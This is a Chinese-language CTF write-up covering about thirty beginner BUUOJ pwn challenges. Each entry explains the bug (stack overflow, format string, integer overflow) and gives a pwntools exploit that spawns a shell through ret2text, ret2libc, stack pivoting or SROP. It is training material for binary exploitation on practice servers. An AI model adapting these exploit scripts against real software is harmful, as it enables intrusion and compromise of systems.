第一页
- 第一页结束,题目比较基础,一晚上基本上就可以刷完,希望能快点刷到堆
题目1_test_your_nc
- 考点:
nc
远程连接,连接命令:nc ip port
,而不是nc ip:port
题目2_rip
- 考点:
ret2text
- 下载附件后直接逆向这个程序,发现有一个
gets()
函数,存在栈溢出
- 同时我们发现了存在危险函数,并且没有开
pie
- 所以就直接
ret2text
,本题exp如下:
from pwn import *
#p = process('./pwn1')
p = remote('node5.buuoj.cn',25590)
payload = b'a'*(0xf+0x8)
payload += p64(0x40118A)
p.sendline(payload)
p.interactive()
题目3_warmup_csaw_2016
- 考点:
ret2text
- 查看保护,发现保护全没开
- 下载附件后直接在使用
IDA
查看反编译的代码,存在gets
函数,可以栈溢出
- 发现
sprintf
会输出sub_40060D
这个函数的地址,我们来查看一下这个函数,发现是一个类似于后门函数,我们可以得到flag
。
- 直接栈溢出
ret2text
,exp如下:
from pwn import *
#p = process('./pwn1')
p = remote('node5.buuoj.cn',29233)
payload = b'a'*(0x40+0x8)
payload += p64(0x40060D)
p.sendline(payload)
p.interactive()
题目4_ciscn_2019_n_1
- 考点:
栈溢出
- 查看一下保护机制
- 然后直接
IDA pro
反编译一下这个程序查看代码。发现main
函数就这样输入输出初始化一下,然后调用func()
函数
- 查看
func
函数,发现存在gets()
,还有v2
与11.28125
比较就能得到flag
- 直接查看数据段,发现
11.28125
的浮点数十六进制表示如下:
- 所以直接溢出修改变量即可
from pwn import *
#p = process('./ciscn_2019_n_1')
p = remote('node5.buuoj.cn',25249)
payload = b'a'*(0x30-0x4)
payload += p64(0x41348000)
p.sendline(payload)
p.interactive()
题目5_pwn1_sctf_2016
-
考点:
ret2text
-
查看一下保护机制,发现如下保护机制,并且是一个
32
位程序
- 直接使用
IDA pro
反编译这个程序。发现是一个C++
语言的程序,并且main
函数如下:
- 查看一下
vuln()
函数
- 这个程序我们正常输入是没办法溢出的,但是这边如果输入
I
的话会替换成三个字符you
。此时我们就可以执行栈溢出操作。
- 接下来就是计算偏移了
- 计算得到偏移
b'I'*(21)+b'a'
- 所以exp如下:
from pwn import *
#p = process('./pwn1_sctf_2016')
p = remote('node5.buuoj.cn',27730)
payload = b'I'*(21)+b'a'
payload += p32(0x8048F0D)
p.sendline(payload)
p.interactive()
题目6_jarvisoj_level0
- 考点:
ret2text
、栈对齐
- 先查看一下保护机制,保护机制如下
- 然后就逆向这个程序,查看这个程序的运行逻辑。先看
main
函数
- 查看
return
的这个函数,发现是一个栈溢出漏洞
- 同时这里还存在
shell
- 直接
ret2text
,注意在溢出返回到shell
的时候需要注意栈需要与0x10
对齐,否则程序无法正常执行system("/bin/sh")
exp如下:
from pwn import *
p = process('./level0')
#p = remote('node5.buuoj.cn',27730)
payload = b'a'*0x80 + b'a'*0x8 + p64(0x4005A5)+p64(0x400596)
p.sendline(payload)
p.interactive()
题目7_[第五空间2019 决赛]PWN5
- 考点:
随机数
、格式化字符串漏洞
- 先查看一下保护机制
- 现在逆向一下这个程序,发现是直接获取程序随机数,然后将随机数写入到
bss
段中。 - 之后让用户输入两次,第一次输入的时候会有一次格式化字符串漏洞
- 第二次输入就是输入一个数,将该数与随机数进行判断,相等就可以得到
shell
- 直接先写入
bss
段存储随机数的地址,这样我们就能使用%s
进行泄露,现在计算偏移,确定偏移为10
- 直接使用
%10$s
写入随机数,这时我们接收随机数输入到那边即可得到shell
,注意我们发送的时候要字符串ascii
码形式,因为后面有atoi()
这个函数。 - exp如下:
from pwn import *
#p = process('./pwn')
p = remote('node5.buuoj.cn',26635)
payload = p32(0x804C044) + b'%10$s'
#gdb.attach(p)
#pause()
p.sendline(payload)
p.recvuntil(b'Hello,')
leak = p.recvline()[4:-1]
print('leak--->',leak)
leak = int.from_bytes(leak,'little')
p.send(str(leak).encode('utf-8'))
p.interactive()
题目8_jarvisoj_level2
-
考点:
ret2text
、32位rop链
-
先检查一下保护机制
- 开始逆向程序,先查看
main
函数,发现有system
函数,并且有一个vulnerable_function()
函数
- 查看
vulnerable_function()
函数,发现存在栈溢出
- 这时翻找字符串,发现还存在
/bin/sh
字符串,这样我们通过栈溢出就可以执行system("/bin/sh")
- 这时直接构造
32位rop链
,注意返回到call System
和返回到system
的plt
表布置栈还稍微有点区别,主要就是返回到system
的plt
还要填充一个p32(0xdeadbeff)
作为返回地址,然后再写入sh_addr
- exp如下:
from pwn import *
#p = process('./level2')
p = remote('node5.buuoj.cn',29574)
sh_addr = 0x804A024
sys_addr = 0x804845C
payload = b'a'*(0x88+0x4) + p32(sys_addr)+ p32(sh_addr)
p.sendline(payload)
p.interactive()
题目9_ciscn_2019_n_8
- 考点:
溢出漏洞
- 先查看一下保护机制
- 逆向分析程序,发现简单的栈溢出操作。
- 确认偏移即可,再输入
17
即可getshell
from pwn import *
p = process('./ciscn_2019_n_8')
#p = remote('node5.buuoj.cn',29574)
payload = p32(0x0)*13 + p64(17)
gdb.attach(p)
pause()
p.sendline(payload)
p.interactive()
题目10_bjdctf_2020_babystack
- 考点:
ret2text
- 先查看一下保护机制
- 逆向这个程序,发现我们可以指定输入的字节数,这时我们就可以进行溢出
- 现在查看栈上布局,发现我们在溢出的时候会修改我们输入的字节数
- 这个时候我们就要注意溢出的内容,否则可能会出现溢出完
nbytes
就不能再溢出的问题。 -
还需要注意栈对齐的问题
-
exp如下:
from pwn import *
#p = process('./bjdctf_2020_babystack')
p = remote('node5.buuoj.cn',26437)
p.sendline(b'50')
payload = b'a'*0x10 + b'a'*0x8 + p64(0x4006FA) + p64(0x4006E6)
#gdb.attach(p)
#pause()
p.sendline(payload)
p.interactive()
题目11_ciscn_2019_c_1
- 考点:
栈溢出
、ret2libc
- 先来查看一下保护机制
- 然后直接开始逆向这个程序,查看
main
函数。发现主要就是一个加密的选项
- 查看
begin()
函数程序中只实现了,选项1
,并且解密选项没有实现。
- 接下来我们就查看这个
Encrypt()
函数,发现这个函数会有一个gets()
函数,存在栈溢出。 - 并且再输入完程序内容时,会对输入的内容进行异或加密
- 这时我们构造
rop
链的时候就需要输入异或之后的内容。然后发现这个程序并没有现成的shell
函数。 - 或者还有一种办法就是使用
\x00
进行截断,这样rop
链就不会被加密。本题使用这种打法。 - 此时我们就需要打
ret2libc
- exp如下:
from pwn import *
#p = process('./ciscn_2019_c_1')
libc = ELF('./libc-2.27.so')
p = remote('node5.buuoj.cn',25616)
pop_rdi = 0x400c83
ret = 0x4006b9
puts_plt = 0x4006E0
puts_got = 0x602020
encrypt = 0x4009A0
payload = b'a'*0x1 + b'\x00' + b'a'*(0x50-2)+ b'a'*0x8
payload+= p64(ret) + p64(pop_rdi) + p64(puts_got)
payload+= p64(puts_plt) + p64(encrypt)
p.sendline(b'1')
#gdb.attach(p)
#pause()
p.sendline(payload)
p.recvuntil(b'l\n')
leak = p.recvline()[:-1]
print('leak--->',leak)
puts_addr = int.from_bytes(leak,'little')
libc_addr = puts_addr - libc.symbols['puts']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x1 + b'\x00' + b'a'*(0x50-2)+ b'a'*0x8
payload+= p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload)
#p.sendline(payload)
p.interactive()
题目12_jarvisoj_level2_x64
- 考点:
ret2text
、简单64位rop链
- 先查看一下检查机制
- 直接逆向程序,查看
main
函数,只调用了这个函数,发现有system()
- 查看
vulnerable_function()
函数,发现存在栈溢出
- 并且发现有
/bin/sh
- 简单
rop
链构造即可,exp如下:
from pwn import *
p = process('./level2_x64')
p = remote('node5.buuoj.cn',25772)
pop_rdi = 0x4006b3
sh_addr = 0x600A90
sys_addr = 0x40063E
payload = b'a'*0x88 + p64(pop_rdi)
payload+= p64(sh_addr) + p64(sys_addr)
p.sendline(payload)
p.interactive()
题目13_get_started_3dsctf_2016
- 考点:
栈溢出
、32位参数调用
、全缓冲输出
、静态编译
- 先查看保护机制,发现是一个
32
位程序
- 逆向程序,查看
main
函数,发现main
函数存在栈溢出
- 并且我们查看函数会发现,有一个
get_flag
的函数,当函数满足条件的时候就会get flag
- 思路就是直接栈溢出修改参数,然后返回到
get flag
这个函数中 - 在打的过程中需要注意,
32
位参数传递是从右向左依次传入栈中,所以第一个参数在最低栈地址中。 - 还要注意一点就是,这题并没有开启
无缓冲输出
,所以在调用完get flag
函数时,我们需要返回到main
函数,再进行栈溢出,调用fflush(0)
,刷新缓冲区。 - exp如下:
from pwn import *
context.log_level = 'debug'
#p = process('./get_started_3dsctf_2016')
p = remote('node5.buuoj.cn',28601)
payload = b'a'*0x38 +p32(0x080489A0)
payload+= p32(0x8048A20) + p32(0x308CD64F)+p32(0x195719D1)
#gdb.attach(p)
#pause()
p.sendline(payload)
payload = b'a'*0x38 +p32(0x804F3E0)
payload+= p32(0)+p32(0)
p.sendline(payload)
p.interactive()
题目14_[HarekazeCTF2019]baby_rop
- 考点:
栈溢出
、64位简单rop链
- 检查一下保护机制
- 直接逆向程序,查看
main
函数,发现有system()
函数和一个栈溢出操作
- 然后还发现了
/bin/sh\x00
这个字符串
- 直接栈溢出构造
rop
链 - exp如下:
from pwn import *
context.log_level = 'debug'
#p = process('./babyrop')
pop_rdi = 0x400683
p = remote('node5.buuoj.cn',27158)
payload = b'a'*(0x10+0x8)
payload+= p64(pop_rdi)
payload+= p64(0x601048)
payload+= p64(0x4005E3)
p.sendline(payload)
p.interactive()
题目15_others_shellcode
- 考点:初步了解
32位程序的系统调用
- 先查看一下保护机制
- 先逆向程序,查看一下
main
函数
- 再查看一下
getShell()
,发现eax = 11
、v1="/bin/sh\x00"
,然后进行int 0x80
进行系统调用
- 本题就是了解一下系统调用,nc即可
getshell
,故本题无exp
题目16_[OGeek2019]babyrop
- 考点:
伪随机数
、栈溢出
、32位rop链
、ret2libc
、\x00截断
- 检查一下程序的保护机制
- 逆向程序,先查看一下
main
函数,发现有一个随机数
- 再查看一下
sub_804871F()
这个函数,发现程序会将用户输入的内容与随机数进行比较,比较长度为用户输入的内容的长度
- 如果比较成功就会返回
buf[7]
,并且buf[7]
可以控制sub_80487D0
这个函数,这样就会导致栈溢出。
- 所以我们先使用
\x00
对程序进行截断操作,然后再向but[7]
输入一个数,能造成溢出。(这样stcncmp就不会进行判断,直接返回0)就可以直接进入下一个栈溢出函数
- 最后就直接栈溢出,exp如下:
from pwn import *
context.log_level = 'debug'
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',25643)
#p = process('./pwn')
payload = b'\x00'+b'\xff'*0x1E
#gdb.attach(p)
#pause()
p.sendline(payload)
payload = b'a'*0xE7 +b'a'*0x4 + p32(0x8048548)+p32(0x8048825)
payload += p32(0x8049FD4)
p.sendline(payload)
p.recvuntil(b'Correct\n')
puts_addr = p.recvline()[:-1]
print('leak--->',puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
libc_addr = puts_addr - libc.symbols['puts']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
payload = b'\x00'+b'\xff'*0x1E
#gdb.attach(p)
#pause()
p.sendline(payload)
payload = b'a'*0xE7 +b'a'*0x4 + p32(sys_addr)+p32(sh_addr)
payload += p32(sh_addr)
p.sendline(payload)
p.interactive()
题目17_ciscn_2019_n_5
- 考点:
栈溢出
、ret2libc
、向bss段写入/bin/sh
- 保护机制
- 逆向程序
main
函数,发现程序先会让用户输入向name
输入64
字节,而name
是在bss
段中的一个全局变量 - 还发现了
gets()
这个函数,但是没有发现system()
函数
- 这时我们就可以得到思路,我们将
/bin/sh
写入到name
中,然后正常打ret2libc
,注意栈对齐 - exp如下:
from pwn import *
context.log_level = 'debug'
libc = ELF('./libc-2.27.so')
p = remote('node5.buuoj.cn',28795)
#p = process('./ciscn_2019_n_5')
pop_rdi = 0x400713
puts_got = 0x601018
puts_plt = 0x4004E0
payload = b'a'*0x64
p.send(payload)
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got)
payload+= p64(puts_plt) + p64(0x400636)
p.sendline(payload)
p.recvuntil(b'What do you want to say to me?\n')
puts_addr = p.recvline()[:-1]
print('leak-->',puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
libc_addr = puts_addr - libc.symbols['puts']
sys_addr = libc_addr + libc.symbols['system']
payload = b'/bin/sh\x00' + b'a'*(0x64-0x8)
p.send(payload)
payload = payload = b'a'*0x28 +p64(0x4006AA)+ p64(pop_rdi) + p64(0x601080)
payload+= p64(sys_addr)# + p64(0x400636)
p.sendline(payload)
p.interactive()
题目18_not_the_same_3dsctf_2016
- 考点:
栈溢出
、32位程序
、静态编译
、ret2text
- 查看保护机制
- 逆向程序,先查看
main
函数。发现程序就一个gets()
- 还发现了这个函数
- 思路就是栈溢出返回到
get_secret()
这个函数中,然后再调用write
函数(也可以调用printf函数更方便,这里也选择write函数)将flag
打印出来。 - 但是经过尝试好像使用
printf
函数会报错,具体原因没去查看 - exp如下:
from pwn import *
context.log_level = 'debug'
p = remote('node5.buuoj.cn',27286)
#p = process('./not_the_same_3dsctf_2016')
payload = b'a'*0x2d + p32(0x80489A0)
payload+= p32(0x80489E0)
printf_addr = 0x804F0A0
write_addr = 0x806E270
p.sendline(payload)
payload = b'a'*0x2d +p32(write_addr)+p32(0)
payload += p32(0x1)+p32(0x80ECA2D) +p32(0x40)
p.sendline(payload)
p.interactive()
题目19_ciscn_2019_en_2
- 这题与
题目11_ciscn_2019_c_1
一模一样,只是异或的数据不同,直接照抄该题的exp,将接收到的l
修改为o
即可。 - exp如下:
from pwn import *
#p = process('./ciscn_2019_c_1')
libc = ELF('./libc-2.27.so')
p = remote('node5.buuoj.cn',25580)
pop_rdi = 0x400c83
ret = 0x4006b9
puts_plt = 0x4006E0
puts_got = 0x602020
encrypt = 0x4009A0
payload = b'a'*0x1 + b'\x00' + b'a'*(0x50-2)+ b'a'*0x8
payload+= p64(ret) + p64(pop_rdi) + p64(puts_got)
payload+= p64(puts_plt) + p64(encrypt)
p.sendline(b'1')
#gdb.attach(p)
#pause()
p.sendline(payload)
p.recvuntil(b'o\n')
leak = p.recvline()[:-1]
print('leak--->',leak)
puts_addr = int.from_bytes(leak,'little')
libc_addr = puts_addr - libc.symbols['puts']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x1 + b'\x00' + b'a'*(0x50-2)+ b'a'*0x8
payload+= p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload)
p.sendline(payload)
p.interactive()
题目20_ciscn_2019_ne_5
- 考点:
- 查看保护机制
- 对程序进行逆向,先查看
main
函数,main
函数的主要逻辑就是一个菜单。 - 这个菜单前面主要就是实现一个登录,并且貌似没有栈溢出。
- 查看完各个函数之后发现漏洞点在这个位置,这个位置会导致栈溢出
- 但是要注意
strcpy
遇到\x00
这个字符串后会被截断。
- 而我们的
src
是通过这个地方来写入的
- 还发现这边有个
system()
函数
- 此时我们就可以通过溢出构造rop链,同时写入
/bin/sh
到程序的bss
段中即可,但是这里没有read
函数,不好写/bin/sh
到bss
段 - 这边就直接采取泄露的思路,注意
scanf()
这个函数有以下坑点
- 并且不知道怎么回事程序不行
getshell
,最终发现好像是libc
错了
- exp如下:
from numpy import put
from pwn import *
#p = process('./ciscn_2019_ne_5')
libc = ELF('./libc-2.27.so')
p = remote('node5.buuoj.cn',25991)
p.sendline(b'administrator')
p.sendline(b'1')
puts_got = 0x804A020
puts_plt = 0x80484C0
main_addr = 0x8048722
printf_got = 0x804A014
payload = b'a'*(0x48+0x4)
payload += p32(puts_plt)+ p32(main_addr) + p32(printf_got)
p.sendline(payload)
p.sendline(b'4')
p.recvuntil(b'aaaaaa')
p.recvline()
printf_addr = p.recvline()[:4]
print('leak--->',printf_addr)
printf_addr = int.from_bytes(printf_addr,'little')
libc_addr = printf_addr - libc.symbols['printf']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
p.sendline(b'administrator')
p.sendline(b'1')
payload = b'a'*(0x48+0x4)
payload += p32(0x80486B9) + p32(sh_addr)
p.sendline(payload)
p.sendline(b'4')
p.interactive()
题目21_铁人三项(第五赛区)__2018_rop
- 考点:
栈溢出
、ret2libc
- 查看保护机制
- 逆向程序,先查看
main
函数,发现main
函数就调用了这俩个函数
- 再来查看
be_nice_to_people()
,发现没啥漏洞
- 接下去继续看
vulnerable_function()
,发现存在栈溢出 - 继续查找好没有看到
system
和/bin/sh
这个字符串,所以打ret2libc
- exp如下:
from os import system
from numpy import put
from pwn import *
#p = process('./2018_rop')
libc = ELF('./libc-2.27.so')
p = remote('node5.buuoj.cn',29708)
write_got = 0x804A010
write_plt = 0x80483A0
payload = b'a'*0x88 + b'a'*0x4
payload += p32(write_plt)+ p32(0x8048474) + p32(1) + p32(write_got)
payload += p32(0x0)
p.sendline(payload)
payload = b'a'*0x88 + b'a'*0x4
payload += p32(write_plt)+ p32(0x8048474) + p32(1) + p32(write_got)
payload += p32(0x8)
p.sendline(payload)
write_addr = p.recv()[:4]
write_addr = int.from_bytes(write_addr,'little')
libc_addr = write_addr - libc.symbols['write']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x88 + b'a'*0x4
payload += p32(sys_addr)+ p32(0x8048474) + p32(sh_addr)
p.sendline(payload)
p.interactive()
题目22_bjdctf_2020_babystack2
- 考点:
整数溢出
、栈溢出
、ret2text
- 检查一下保护机制
- 逆向程序,先查看
main
函数,发现是一个整数溢出
-
直接输入
-1
,绕过检查,绕过之后直接栈溢出 -
还发现了后门函数
- exp如下,打的时候注意栈对齐:
from pwn import *
#p = process('./bjdctf_2020_babystack2')
libc = ELF('./libc-2.27.so')
p = remote('node5.buuoj.cn',27593)
p.sendline(b'-1')
payload = b'a'*0x18 + p64(0x40072A)
p.sendline(payload)
p.interactive()
题目23_jarvisoj_fm
- 考点:
字符串格式化漏洞
、简单%n的使用
- 检查保护机制
- 逆向程序,先查看一下
main
函数,主要漏洞出现在这里,这里直接使用%n
修改变量x
x
在bss段上,所以我们还需要先写入x
的地址。然后确定偏移
- 接下来动调确定偏移
%11$p
-
然后使用
%11$lln
直接修改 -
接下来就直接写exp打
from pwn import *
#p = process('./fm')
libc = ELF('./libc-2.27.so')
p = remote('node5.buuoj.cn',28823)
payload = p32(0x804A02C) + b'%11$lln'
p.sendline(payload)
p.interactive()
题目24_bjdctf_2020_babyrop
- 考点:
64位ret2libc
- 保护机制
- 逆向程序,先查看
main
函数
- 再查看
vuln
这个函数,就会发现这个函数存在栈溢出
- 直接
ret2libc
,exp如下:
from pwn import *
#p = process('./bjdctf_2020_babyrop')
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',26685)
pop_rdi = 0x400733
puts_got = 0x601018
puts_plt = 0x4004E0
payload = b'a'*0x20 + b'a'*0x8
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(0x4006AD)
p.sendline(payload)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
puts_addr = p.recvline()[:-1]
print('leak-->',puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
libc_addr = puts_addr - libc.symbols['puts']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x20 + b'a'*0x8
payload += p64(0x4006CB)
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(sys_addr)
payload += p64(0x4006AD)
p.sendline(payload)
p.interactive()
题目25_jarvisoj_tell_me_something
- 考点:
ret2text
- 检查保护机制
- 逆向程序,先查看
main
函数,这边存在一个栈溢出
- 发现这边会输出
flag
- 直接写
exp
:
from pwn import *
#p = process('./guestbook')
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',25255)
payload = b'a'*0x88
payload += p64(0x400620)
p.sendline(payload)
p.interactive()
题目26_ciscn_2019_es_2
- 考点:
栈溢出
、栈迁移
- 先检查一下保护机制
- 逆向程序,先查看一下
main
函数
- 直接查看
vuln
函数,发现存在栈溢出,但是溢出太少字节了,所以需要栈迁移
- 并且有
system
这个函数
- 但是没有
/bin/sh
这个字符串,所以我们需要将这个字符串写入到bss
段中 - exp如下:
from pwn import *
#p = process('./ciscn_2019_es_2')
#libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',29357)
bss_addr = 0x804A040+0x700
p.sendline(b'1')
payload = b'a'*0x28
payload += p32(bss_addr)
payload += p32(0x80485D8)
p.send(payload)
payload = b'/bin/sh\x00' + p32(0x8048559)
payload += p32(bss_addr-0x10)
payload += p32(0x8048559)+p32(bss_addr-0x28)+ b'/bin/sh\x00'*0x2
payload += p32(bss_addr-0x28+0x4)
payload += p32(0x80485FD)
p.send(payload)
p.interactive()
题目27_[HarekazeCTF2019]baby_rop2
- 考点:
简单ret2libc
- 检查保护机制
- 逆向程序先从
main
函数开始,发现存在栈溢出漏洞
- 直接打
ret2libc
- exp如下:
from pwn import *
context.log_level = 'debug'
#p = process('./babyrop2')
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',28306)
pop_rdi = 0x400733
printf_got = 0x601018
printf_plt = 0x4004F0
read_got = 0x601020
payload = b'z'*0x1c
payload += p32(0x1)
payload += p64(0x4006CB)
payload += p64(0x4006CB)
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(printf_plt)
payload += p64(0x400636)
p.sendline(payload)
p.recvuntil(b'zzzzzzzzzzzzzzzzzzzzzzzzzzzzQ!\n')
printf_addr = p.recv()[:6]
print('leak--->',printf_addr)
printf_addr = int.from_bytes(printf_addr,'little')
libc_addr = printf_addr - libc.symbols['read']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
payload = b'z'*0x1c
payload += p32(0x1)
payload += p64(0x4006CB)
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(sys_addr)
payload += p64(0x400636)
p.sendline(payload)
p.interactive()
题目28_picoctf_2018_rop chain
- 考点:
32位参数调用
- 查看保护机制
- 逆向分析程序,先查看
main
函数
- 直接查看
vuln
这个函数,发现gets()
函数,直接栈溢出
- 发现这边可以得到flag,但是要满足条件
- 发现还有俩个地方
- 直接就是一步一步构造
32位rop链
- exp如下:
from pwn import *
context.log_level = 'debug'
#p = process('./PicoCTF_2018_rop_chain')
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',29128)
win1 = 0x80485CB
win2 = 0x80485D8
vuln = 0x8048714
payload = b'a'*0x1c
payload += p32(win1)+p32(vuln)
p.sendline(payload)
payload = b'a'*0x1c
payload += p32(win2)+p32(vuln)+p32(0xBAAAAAAD)
p.sendline(payload)
payload = b'a'*0x1c
payload += p32(0x804862B)+p32(vuln)+p32(0xDEADBAAD)
p.sendline(payload)
p.interactive()
题目29_pwn2_sctf_2016
- 考点:
整数溢出
、ret2libc
、ret2syscall
- 查看保护机制
- 逆向分析这个程序,我们先来查看一下
main
函数
- 直接查看
vuln
这个函数,发现存在整数溢出,间接导致栈溢出
- 还发现有系统调用,这里就不打
int 0x80
,直接打ret2libc
- exp如下:
from pwn import *
context.log_level = 'debug'
#p = process('./pwn2_sctf_2016')
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',29664)
printf_got = 0x0804A00C
printf_plt = 0x08048370
vulin = 0x804852F
p.sendline(b'-1')
payload = b'a'*0x30
payload += p32(printf_plt)+p32(vulin)+p32(printf_got)
p.sendline(payload)
p.recvuntil(b'You said: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap\x83\x04\x08/\x85\x04\x08\x0c\xa0\x04\x08\n')
#printf_addr = p.recvline()#[:4]
printf_addr = p.recv()[:4]
print('leak-->',printf_addr)
printf_addr = int.from_bytes(printf_addr,'little')
libc_addr = printf_addr - libc.symbols['printf']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
p.sendline(b'-1')
payload = b'a'*0x30
payload += p32(sys_addr)+p32(vulin)+p32(sh_addr)
p.sendline(payload)
p.interactive()
题目30_jarvisoj_level3
- 考点:
ret2libc
- 查看保护机制
- 直接进行逆向,先查看
main
函数
- 然后查看
vulnerable_function()
函数,发现存在栈溢出,但是并没有system
函数和/bin/sh
字符串
- 直接打
ret2libc
- exp如下:
from pwn import *
context.log_level = 'debug'
#p = process('./level3')
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',25981)
write_got = 0x804A018
write_plt = 0x8048340
vuln = 0x804844B
payload = b'a'*0x8c
payload += p32(write_plt)+p32(vuln)+p32(1)
payload += p32(write_got)+p32(0x4)
p.sendline(payload)
p.recvline()
write_addr = p.recv()[:4]
write_addr = int.from_bytes(write_addr,'little')
print(write_addr)
libc_addr = write_addr - libc.symbols['write']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x8c
payload += p32(sys_addr)+p32(vuln)+p32(sh_addr)
payload += p32(write_got)+p32(0x4)
p.sendline(payload)
p.interactive()
题目31_wustctf2020_getshell
- 考点:
ret2text
- 查看保护机制
- 直接逆向程序,这个函数存在栈溢出
- 并且还存在shell
- exp如下:
from pwn import *
context.log_level = 'debug'
#p = process('./wustctf2020_getshell')
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',27172)
payload = b'a'*0x1c+p32(0x804851B)
p.sendline(payload)
p.interactive()
题目32_ciscn_2019_s_3
- 考点:
ret2syscall
、SROP
、栈迁移
- 查看保护机制,虽然是
32位
但是系统调用用的是64
位的,并不是单纯的32
位
- 直接逆向程序
- 还发现
gadget
- 这边直接调用俩次
SROP
,在第一次调用SROP
的时候顺便进行栈迁移,第二次getshell
- exp如下:
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#p = process('./ciscn_s_3')
libc = ELF('./libc-2.23.so')
#gdb.attach(p)
#pause()
p = remote('node5.buuoj.cn',26847)
payload = b'b'*0x10 + p64(0x4004DA)
payload+= p64(0x400517)
sign = SigreturnFrame()
sign.rax = 0
sign.rdi = 0
sign.rsi = 0x601030
sign.rdx = 0x300
sign.rip = 0x400517
sign.rsp = 0x601030+0x8
sign.rbp = 0x601030+0x100
payload+=bytes(sign)
p.sendline(payload)
payload = b'/bin/sh\x00'
payload += p64(0x4004DA)
payload += p64(0x400517)
sign2 = SigreturnFrame()
sign2.rax = 59
sign2.rdi = 0x601030
sign2.rsi = 0
sign2.rdx = 0
sign2.rip = 0x400517
payload+= bytes(sign2)
pause()
p.sendline(payload)
p.interactive()